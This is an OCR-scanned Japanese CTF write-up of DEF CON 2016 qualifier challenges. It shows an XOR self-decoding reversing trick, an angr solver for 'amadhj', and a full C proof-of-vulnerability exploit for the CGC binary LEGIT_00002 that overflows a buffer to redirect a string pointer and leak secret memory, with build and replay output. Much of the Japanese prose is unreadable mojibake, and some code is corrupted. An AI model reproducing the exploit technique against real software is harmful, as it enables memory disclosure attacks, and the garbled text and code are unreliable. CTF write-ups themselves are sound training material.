Ox400eal: add BYTE PTR [rax],al
0x400ea3: xlat BYTE PTR ds:[rbx]

Stopped reason: SIGTRAP
0x0000000000400e9a in ?? ()
2: *Ox6020C0 = 0x400e96

1: *Ox6020C8 = Ox0

SIZTEU SIGTRAP (SR TIL—TUFEUZ, KIFEDREBERRSN TV DIERELR T

NTT Communications Corporation g—
1-1-6 Uchisaiwai-cho, Chiyoda-ku, Tokyo MT T Communications Elﬂf’tﬁ,‘elﬂhﬂﬂfﬂﬁf
100-8019, Japan T



DL UTFOZTERDODMDFET,

R > 0x400e96 H'S 0x400e9a (CHEA TULND,
0x400e96 MmN fimul M5 mov (CE L L TULVD,
SIGTRAP J\> RSNHEFHI IHRI7 RL X (C 0x400e96 NEEEMNTL D,

COBARER & SIGTRAP /\> RSDO— RZENDETERXD L. 0x400e96 LUEDMTT(E
EATHF(C SIGTRAP J\> RSICKDTEH 7 RLRAZAWT X0R T 1—RENBZEICIRD
KOTT,

F 11— REBOGHZEARDIEHIC. UTDLS(CI/ELZT RLRER DT —5 %5 11—
RIDEBRRI VT 2R UE UTz. DIRapBI(ICEWE U TOWERADT, ET770—
ZHBWINSAULIT DT I-RUTWEET,

cur_addr = start_addr
md = capstone.Cs(capstone.CS_ARCH X86, capstone.CS_MODE_64)
while cur_addr <= end_addr:
idx = cur_addr - start_addr
xored_byte = (ord(encoded[idx]) ”~ cur_addr) % 256
decoded = encoded[:idx] + chr(xored_byte) + encoded[idx+1:]
try:
i = md.disasm_lite(decoded[idx:], len(decoded[idx:])).next()
if not 1i:
break
except:
break
cur_addr += i[1]

SIGTRAP/\> RS (CKD>TTFO— RSN T, UTFDL DB ZITO TVWFE L.

flag 7 71 ILH5 flag lBZFRHAD .

Key2:70O> 7 bEFRRLU. - - ANZTITED.

ZVTE D TZANF—D/)\A RS EIC—FEDIL—ILTEHT B,

ZHE D)+ RBIN [Please, may I have the flag now] THNIL flag iBZH ST B,

H LN

3. DOZEHIBEN) A REAIDOETIDT, NNA T EDTIL— b TA—XTES(C Key2:
ZEEIDIENTEFT, Key2:ZXEIdE. UTDISTZEUSTEH L,

This flag is: Woah-a, woah-a, When the tears are over
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fizst 6 : Reverse Engineering lamadhj] (96 &)
REE NTTRF1 775 v hIJ A — AR 1858 A

RI=E
Reverse me and get the flag. Get it here. Service here
amadhj_b76a229964d83e06b7978d0237d4d2b0.quals.shallweplayaga.me:4567

s

Reverse Engineering UMD 3METY, £9. d0>0O0—-RUETOISLZETLT
HDE. BEANNDBANZZ T EOEAERRET (TR TUET., ABDCHLTRISH
DF TV INBZITV. [EETHNETSITNENEND . TOANBEN TSI THD L
Sid. AHOFTVUTEHENREBER THhD LR LE L.

R, THOF TV IUBOREINEIRINEFFIFATC K O THRUITHER. ROKXSIALIEZ
ITOTCVBTEMEETEF U,

1. ANBDOE/IA MIHFTBIRGFTVO (UL—TUNIE)

2. ANECIT DEHLIBDZET

3. EHagDMEN 0xb101124831c0110a (CHEUITNIE T ST %

BRE, W3 TEITSTZT7AILDSHRAHAATNDIZH, O—HILTOFITISIICE
BEDEBELZEEFETEFRA. COFOBRBICHTIZTO—-FEUTIE IBRE =M
([CERT L. HEBRSEBERZITOREDSE. TXRUGBHASANZERMZT)IL— R ITA—-XLEED.
AN CE T DHEHINEMAILTTYILIZED TIERZRDIZD T DHEN I TT, 22,
ARRECH T DUE 2 (FEFERROZHBIEID 2 0 0 B EDNUH UNES (SEfFEN TS D,
ZTOFMZIBED CE(FFERBICHEHRFEITY ., T WEOW DHDMEE (JL—TH R0,

B2 DERMEHROTE (FEH, P TS XFAO=ILRSA TS URBOIEUE LR, 1
E) KD, SRV IOERITTHECEITZEDTHDEHEU. angr(http://angr.io/)&EULVD
A=T2V—-ZADZ 2RI IORITSATSUZRED TTFRDELDIRRIUT hEESTFE U,
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#!1/usr/bin/env python

import angr

import claripy

11\ FUDEGRHAFH

project = angr.Project("./amadhj", load_options={'auto_load_libs':False})

/] EMREDSTE - iL51E

START = 0x4027f8

DEST = 0x40287f

INPUT_BUF = 0x50000000

INPUT_BUF_LEN = 32

initial_state = project.factory.blank_state(addr=START)

initial_state.regs.rbp = 0x500000

INPUT_BUF_PTR = initial_state.regs.rbp - 0x38

initial_state.memory.store(INPUT_BUF_PTR, claripy.BVV(INPUT_BUF, 64), endness='lend_LE")
initial_state.memory.store(INPUT_BUF, initial_state.se.BVS("ans", INPUT_BUF_LEN * 8))

/73038 1 OFIFIEND

for i in xrange(INPUT_BUF_LEN):
c = initial_state.memory.load(INPUT_BUF + i, 1)
initial_state.add_constraints(c !'= 91)
initial_state.add_constraints(c !'= 92)
initial_state.add_constraints(c !'= 93)
initial_state.add_constraints(c !'= 94)
initial_state.add_constraints(c !'= 96)

initial_state.add_constraints(initial_state.se.Or(initial_state.se.And(c > 0x40, c <= 0x7a), c == 32))

/122Uy OEFT

initial_path = project.factory.path(state=initial_state)

ex = angr.surveyors.Explorer(project, start=initial_path, find=(DEST, ))
r = ex.run()

final_state = r.found[0].state

//#F0% 1= 9 INPUT_BUF Z3Kk&bD
ans = final_state.se.any_str(final_state.memory.load(INPUT_BUF, INPUT_BUF_LEN))

print ans
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> 2RV w ORITIEO— REFRITURN S ERFIHIRNZ BEH (AL T T <NDITHILIE
DIANMNREZESHRENDDFEAN, TD—73T. MHEEVRETEZTNICEDVWZERER
TORENSDFIT, ROVUT M2fHEICRRRITDE. FIS DRIV IRTZERIE - 879
27 FLUAPHHPIREZEREL TLEXT ., TITIEE AE 1 ODBERODEGHTDT KL R Z/InT
RFLREU. MR 3 DRMAFERIZ U EEDDIRFTERT 7 RLAELFRUTZ, RIC, BTIE
ERDIEVRIEDIETE GESIEERTE(CULET) ZTo>THED. EBEADMMEM=NTN

BN\ IrZEREBILLELUL. HERFS IRV IRTZESE. BRUICESNIZHNRZ.

F(FEEBAEUTTBICDWTYILNTRWEZE I U TWVWET,

(%) 728, I 1 DFFBEMCDONTIE, L 1 EZ 2R W IERITHRICEDUIARE
MBI DD TINHEFIIL—TNS52 2R w ORITHRITE 72 <723/ VI HMEEUHNER
NI ofefeed. COERZERIEIZHISEBIMLE L. Fz. ESEDED (CDVNTE.
angr TE—EEESTAHMMTONTUVRVWAEUREBD FGIHATND LBEBN(CEESESND
KS1BDT, TOT—RAICDNWTIEFBATRBITIEE T DRE>ENDELDITYT. (LWINEH
ELUTERUTHEEFY)

ARKAOUT haRITLTESNEXFIEUE— M —/NOXETDE. T353T7EBDEN
TEFUI

$ nc amadhj_b76a229964d83e06b7978d0237d4d2b0.quals.shallweplayaga.me 4567
eIR I_H nvx LapSSe BAwxypDB apRH

The flag is: Da robats took err jerbs.
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gt 7 : See Gea Sea [LEGIT 00002 (88
REE NTTEF1 775y NI A — LT S 55
15}

Try this type. Pwn and gimme a PoV. LEGIT_00002

Service at
legit_00002_f2bd0388c115e3905c16ec87a95cf420.quals.shallweplayaga.me: 18243
Play well and play fast.
3dttt_87277cd86e7cc53d2671888c417f62aa.2014.shallweplayaga.me: 1234

RE
FI9FO>O-RUTCER/I\AFUITF7AIVERARTHET,
$ file legit_00002
legit_00002: data

FD Linux RIETIEEBEAERBBMSNRANELDTY . ZDRIREIE See Gee Sea EWLWDSHFT
UICBLTHO. LULFTHINSMNTLVD DARPA Cyber Grand Challenge(CGC)DEIENNHE
RKDSTY,

https://blog.legitbs.net/2016/05/def-con-ctf-qualifiers-for-2016.html

LY b5 USIZUS TN & RIEYS 2 E LT CGC DREZIBHRT STTEN DN
NEI,

https://cgc-docs.legitbs.net/cgc-release-documentation/walk-throughs/running-the-
vm/

FIEFEVWCHDESDICRREEZIEDTT,

$ mkdir cgc
$ cd cgc
$ wget http://repo.cybergrandchallenge.com/boxes/Vagrantfile

$ vagrant up
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LIS L<FDE CGC DRIEN S MRS LEFI DT, ssh THEHRLET.

$ vagrant ssh

Linux cgc-linux-packer 3.13.11-ckt21-cgc #1 SMP Mon Feb 29 16:42:11 UTC 2016
i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

vagrant@crs:~$

BECDRMNDFEUR. FEEDRFIADBNIKDE. RRXA DAL Mo LT RUR
/vagrant (CXDJ>2 hENTWVWEXRITDT, IRARET7AILZPD EDTIRIE. CZZFAT

BDONEKESEDSTY . H5/$HT CGC DRENE>ATHYI>O—-RULTE/\AFUZRT
wia_o

$ file legit_00002
legit_00002: CGC 32-bit LSB executable, (CGC/Linux)

SEEERITI7AIILELTRHSNE LU,
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&5(C objdump EEIK KXDTY,

$ i386-linux-cgc-objdump -x legit_00002

legit_00002: file format cgc32-i386
legit_00002

architecture: i386, flags 0x00000102:
EXEC_P, D_PAGED

start address 0x080487d6

Program Header:
PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
filesz 0x00000060 memsz 0x00000060 flags r--
LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
filesz 0x0000097d memsz 0x0000097d flags r-x
LOAD off 0x00000980 vaddr 0x08049980 paddr 0x08049980 align 2**12
filesz 0x00014217 memsz 0x00014217 flags rw-

Sections:
Idx Name Size VMA LMA File off Algn
0 .text 00000889 080480a0 080480a0 000000a0 2**4

CONTENTS, ALLOC, LOAD, READONLY, CODE

1 .rodata 00000054 08048929 08048929 00000929 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA

2 .data 00014217 08049980 08049980 00000980 2**2
CONTENTS, ALLOC, LOAD, DATA

3 .comment 0000001d 00000000 00000000 00014b97 2**0
CONTENTS, READONLY

SYMBOL TABLE:

no symbols

5 I A )L MRRED IDA Pro Tld. Zd CGC AZRD/ A FUICEIELTOWWERA. LU,
CGC DEITI7AILD CPU P—FFTF+v(Li386 TIDT., HWI7 I/ A(FUFT—4
& UTHE. Loding offset Z 0x08048000. T > hUMR-(> h%& 0x080487d6 &35 &T.

NTT Communications Corporation g
1-1-6 Uchisaiwai-cho, Chiyoda-ku, Tokyo MT T Communications Elﬂﬂﬂlﬂhﬂiﬁfﬂﬁf

100-8019, Japan T




63

IDA Pro THEERESDICHANIDIZENTETET, FRRELUT. CGC BBETHEMNDS X
FAd—)UE Linux EAUERDTVET, FULKETFERYA MDIBEERMNSEB(ICIRDET,
https://github.com/CyberGrandChallenge/libcgc/blob/master/cgcabi.md

TEREINAFUZRTHFET. main BEE(E 4 /1 bOBREZZEL. UTOREEEMTI—

R) 2O UE T,

int __cdecl sub_80482D0(unsigned int _userlen)
{
mode_t dynaddr; // [esp+40h] [ebp-358h]@1
char table[25]; // [esp+47h] [ebp-351h]@7
unsigned inti; // [esp+60h] [ebp-338h]@1
int sum; // [esp+64h] [ebp-334h]@1
char buf[800]; // [esp+68h] [ebp-330h]@10
const char *pstr; // [esp+388h] [ebp-10h]@3
unsigned int userlen; // [esp+390h] [ebp-8h]@1
userlen = _userlen;
sum =0;i=0;
if (allocate((char *)4096, 0, (mode_t)&dynaddr) ) terminate(0);
pstr = "SUCCESS: ";
if ( userlen > 804 ) userlen = 804;
memeset(table, 0x00, 25);
read(0, dynaddr, userlen);
sum = calc_sum(dynaddr, userlen);
for (i=0; i< userlen; ++i)
buffi] = *(_BYTE *)(dynaddr + i);
if (sum != 0x31337)
pstr = "FAIL: ";
itoa(table, 25, sum);
puts(0, (int)pstr);
puts(0, (int)table);
return puts(0, (int)"¥n");

CORETE/NY T7A—)\=JO-MRELFIT. EAN(CIE. WEEEF 804 /N1 bDdD
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https://github.com/CyberGrandChallenge/libcgc/blob/master/cgcabi.md

T—HaEDETES buf DERICFETDRA>H pstr 2 LESIDZENTEFT. &
D pstr (F/\y T 7 A—=)\—=TJO—-REBERIC puts DEIEERDTNEIDT, ERIVICIRE
B(IFEIRT7 RLANSEZGHEE D E(CRDFET,

—RETFERITDIMNENG DD, KETDT—F FEHELIZVWI RLIAEED) Z/\1 b
B TRELUTVWEZOAEHMEN 031337 TRULEA(E. pstr AFAIL: "([CFEFENTLED
ZETY, CDfzsh. BARLT RLADEZFHHE T (ClE. FET—FDEFHEN 0x31337 (C
RBEKDCEDFT —HDEZRET DIHNENDDEFET,

Z T CGC ([CEEZREULEFT., CGC Tl POV EMENDMESEEZRERTDES 1 —I)LZE
L. eNZT—/NSXELFT. —/UE ZELC POV THeSSMZIEE TS EHIRII D
& POV ZBEDTCEZISA T MCITSTZBRUET . TDRR. POV HHEsSHEKEE TS/
ZEERIAEF2DHDFET,

https://github.com/CyberGrandChallenge/cgc-release-

documentation/blob/master/walk-throughs/understanding-cfe-povs.md

CZTlFZEDDED Type 2 POV Negotiation ZEL\ET, AL POV i —/I S XED
7 RLREVAXZZTE o c. —/NCHUTZDOAEY 7 RLADEITHREZRI &
T. POV E22—J)LHMESEMHZEE TS Tl & Z2RIHEATI . DFEDEERDIFIZAMRESS
HaE> T, BESNLE RLANWSEZS:HTZUY—/NSRY POV ZIENELWNZ &SR0
F9., UTFHAPOV I7AMILDY—XD—RICIXADET,

#include <libpov.h>

int main(void)

{
int cnt;
unsigned char banner[18];
size_t envlen;
unsigned char *envval;
unsigned int  type2_addr, type2_length;
unsigned char *type2_value = NULL;
unsigned int  addr_checksum = 0;
unsigned int  goal = 0x31337;
unsigned char evilbuf[4+804];
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unsigned int  quotient, remainder;

// negotiate
negotiate_type2();

// skip banner

length_read(0, banner, sizeof(banner));

// build evilbuf

envval = getenv("TYPE2_ADDR", &envlen);

type2_addr = *(unsigned int*)envval;

for(cnt = 0; cnt < 4; cnt++){
addr_checksum += envval[cnt];

b

free(envval);

quotient = (goal - addr_checksum) / 800;

remainder = (goal - addr_checksum) % 800;

*(unsigned int*)evilbuf = sizeof(evilbuf) - 4;

for(cnt = 4; cnt < 804-remainder; cnt++){
evilbuf[cnt] = (unsigned char)quotient;

b

for(cnt = 804-remainder; cnt < 804; cnt++){
evilbuf[cnt] = (unsigned char)(quotient+1);

b
*(unsigned int*)&evilbuf[44+800] = type2_addr;

// send evilbuf

transmit_all(1, evilbuf, sizeof(evilbuf));

// receive type2 value
envval = getenv("TYPE2_LENGTH", &envlen);

type2_length = *(unsigned int*)envval;
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free(envval);
type2_value = malloc(type2_length);
length_read(0, type2_value, type2_length);

// submit type2 value
assign_from_slice("TYPE2_VALUE", type2_value, type2_length, 0, 0, 1);
submit_type2("TYPE2_VALUE");

free(type2_value);

CDTOIS L% pov.c EUTRIFL. pov_TIHUEDTA LI KNJICEBRBEULET ., ©DE.

/usr/share/cb-testing/cgc-cb.mk Z{#> T make {79 B ET. pov J71ILZVERKT
BDTENTEET,

$ mkdir pov_legit_00002

$ mv pov.c pov_legit_00002

$ make -f /usr/share/cb-testing/cgc-cb.mk pov

/usr/i386-linux-cgc/bin/clang -c -nostdlib -fno-builtin -nostdinc -Iinclude -Ilib -
I/usr/include -o build/pov_legit_00002/pov.o pov_legit_00002/pov.c

/usr/i386-linux-cgc/bin/ld -nostdlib -static -o pov/pov_legit_00002.pov
build/pov_legit_00002/*.0 -L/usr/lib -lcgc -lpov

$ Is pov

pov_legit_00002.pov*

O—HIRIBTZD pov TJ7AILOEMEZMHEEZ T DICIE. FIUTOIOY> RTH—/\ZiLE)
LET,
$ cb-server --insecure -p 10000 -d /vagrant legit_00002

M. cb-replay-pov AN RZFESZET, B U —/NTH U TEMEESR T D &N
TEFY,
$ cb-replay-pov --debug --host 127.0.0.1 --port 10000 pov/pov_legit_00002.pov
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# pov/pov_legit_00002.pov

# connected to ('127.0.0.1', 10000)

# negotiation listen at: ('0.0.0.0', 56670)

# negotiating

# negotiation type: 2

# sending page location: 1128775680, 4096, 4
# getting secret

# secret value: 6¢c28b655

# done

# waiting

[EREROJZRMDENTULEVNELLN. D pov TJ7MILzBEY—/\(SXETDZ LT,
UFDIST#BIST D ENTEHLR.

The flag is: You should be a pro CGCer at this point.
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